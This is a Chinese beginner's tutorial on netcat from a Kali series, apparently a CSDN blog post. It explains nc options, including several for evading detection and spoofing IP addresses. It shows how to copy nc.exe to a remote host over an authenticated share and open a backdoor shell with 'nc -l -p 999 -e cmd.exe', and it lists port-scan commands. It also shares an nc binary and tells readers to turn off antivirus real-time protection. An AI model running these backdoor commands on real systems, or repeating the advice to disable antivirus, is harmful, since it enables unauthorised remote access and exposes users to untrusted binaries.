kali新手入门教学(13)--nc连接

nc 的全称为 NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat 可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat 并不能产生 UDP 连接,因为 UDP 是一种无连接的协议。

nc 的命令行格式
nc 的基本命令行形式是

nc [options] host ports

其中 host 是要扫描的主机名或 IP地址
ports 要么是一个单独的端口,要么是一个端口范围(用 m-n 的形式指定),要么是一系列用空格隔开的单个端口。

-d 只对 Windows 操作系统有用,该选项使 NetCat 以隐蔽模式工作,从而脱离 MS-DOS命令提示符下环境运行,使得 nc 不需要保持打开命令窗口便可在监听模式下运行,也可以帮助黑客很好地隐藏监听 NetCat 实例而不被系统管理员发现。

-e 如果 NetCat 使用 gaping_security_hole 选项进行编译,那么只要某人在 NET 后台所监听的任何端口上建立连接,该 NetCat 都将执行,且客户端的 NetCat 会通过管道将 I/O传输到在别处监听的另一个 NetCat 实例中。使用这个选项非常危险,除非对 nc 相当了解,起码知道自己在做什么。这是在系统中建立后门 shell 的一个非常快捷且容易的方法。

-i 延时间隔,表示在两次数据发送之间 nc 等待的时间。例如:当经过管道传输一个文件到 nc 的时候,在传输输入的下一行之前,nc 将等待一定的秒数。当使用 nc 对一台主机的多个端口之间进行操作时,在切换到下一个端口之前,nc 等待一定的秒数。这样可以使黑客在进行数据传输或对一个服务进行攻击的时候更加隐蔽,也可以帮助你的端口扫描不被入侵检测系统和系统管理员发现。

-g 这个选项具有欺骗性。nc 支持 loose source routing(松散源路由)。可以在命令行中指定多达 8 个-g 选项来强迫 nc 流量经过特定的 IP 地址,这在为流量设置伪造的源 IP地址时,可以利用这个方法达到通过防火墙的过滤器或者允许访问主机列表,希望接收到从主机返回的响应。

-G 该选项让用户在-g 选项所指定的路由列表中指定的一个地址作为当前的下一路由,
由于 IP 地址为 4 字节大小(IPV4),所以这个参数总是 4 字节的倍数;例如,4 代表路由表中的第一个 IP 地址,8 代表第二个 IP 地址,依次类推。这在伪造部分源路由表使得报文看起来相当的有用。在进行欺骗和源路由时,这个功能有助于屏蔽所在位置,但也不一定能
接收到响应报文,因为响应报文将经过由伪造的 IP 地址反路由回来。

-l 该选项切换 nc 的监听模式。此选项必须与-p 选项一起使用以告诉 nc 绑定某个指定的 TCP 端口并等待到来的连接。若换成-u 选项,则应使用 UDP 端口而非 TCP 端口。

-L 该选项在 Windows 版本中有用,当一个连接被关闭后,使用相同的命令行选项进行重启监听模式,即使此时初始的连接已经结束,nc 也能在不需要用户干涉的情况下接收后面新的连接。与-l 一样,必须与-p 同时使用。

-n 该选项告诉我们 nc 不做任何主机名查找的工作。

-p 让用户指定一个 nc 应使用的本地端口号。当通过-l 或-L 选项来使用监听模式的时候,这个参数是必需的。如果没有为外出连接指定这个参数,则与大多数其他 TCP 或 UDP客户程序的做法一样,nc 将使用系统分配给他的任何端口。

-r 该参数使 nc 可以随机选择本地和远程端口。当使用 nc 在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么像端口扫描,这个选项是很有用的。当这个选项与-i 选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功几率能得到很大提升。

-s 指定 nc 建立连接时所使用的 IP 地址,该选项允许黑客做一些工作,它允许黑客隐藏他们的 IP 地址或假冒他人的 IP 地址,但是要得到路由到他们所欺骗的地址的任何信息,都需要使用-g 源路由选项。其次,当处于监听模式时,大多数情况下都可以与一个已经监
听的服务“预先绑定”,所有 TCP 和 UDP 服务都绑定到某个端口。

-t 如果使用 telnet 选项编译,nc 就可以与 telnet 服务器进行 telnet 选项协商,虽然它的响应是毫无意义的信息,但可以通过该状态看到连接 23 端口的信息。

-u nc 使用 UDP 而非 TCP,在客户模式和监听模式下都起作用。

-v 控制 nc 将要做的事情达到的程度,如使用 nc -v,那么 nc 将仅吐出它所接收到的数据,一个单独的-v 可以知道它连接或绑定的地址是否有问题发生,第 2 个-v 可以让 nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。

-w 控制在一个连接上 nc 放弃之前等待的时间。同时也告诉 nc 当在标准输入上接收到一个 eof(end-of-file)之后应该等待多长时间来关闭连接并退出。如果你通过 nc 向远程服务器发送命令并且期望大量的数据返回(例如:向一台 web 服务器发送一个 http 命令以
下载一个大文件),该选项是很有用的。

nc在linux下是自带的,在windows下需要下载,我已经分享出来了,这个也是我从cdsn上面花积分下的,运行的时候会提示有病毒。。。。关闭实时保护。。
nc
提取码:h4zf

然后我们需要把这个exe拷贝到远程
命令行下拷贝远程文件主要有以下几种方法:
1.ftp 服务,在远程命令行下使用 ftp 命令下载文件,ftp 使用 TCP 协议作为文件
传输协议。
2.tftp 服务,tftp 类似于 FTP,它使用 UDP 协议作为传输协议。
3.共享目录拷贝

net use \\192.168.5.128 "123456" /user:admin
命令成功完成。
copy nc.exe \\192.168.5.128\c\cracer
已复制         1 个文件。
nc -l -p 999 -vv -e cmd.exe

本地打开999端口并且共享了自己的命令行
远程主机

telnet 192.168.5.129(本地) 999

然后就可以进入到本地主机的命令行中

Microsoft Windows [版本 10.0.18363.836]                                                                                 (c) 2019 Microsoft Corporation。保留所有权利。                                                                                                                                                                                                  C:\Users\root\Downloads>  

nc 常见用法

nc -l - p 80 

监听 80 端口,但可能会报错,原因是80端口被占用,这个时候换一个端口就好

nc -l -p 80 >c:\log.dat 

监听 80 端口,并把信息记录到 log.dat 中

nc -v -l -p 80 

监听 80 端口,并显示端口信息

nc -vv -l -p 80

监听 80 端口,显示更详细的端口信息

nc -l -p 80 -t -e cmd.exe 监

听本地的 80 端口的入站信息,同时将 cmd.exe 重定向到80 端口,当有人连接的时候,就让 cmd.exe 以 telnet 的形式应答。

nc -v ip port 

扫瞄某 IP 的某个端口

nc -v -z ip port-port

扫描某 IP 的端口到某端口

nc -v -z -u ip port-port

扫描某 IP 的某 UDP 端口到某 UDP 端口

  • 5
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值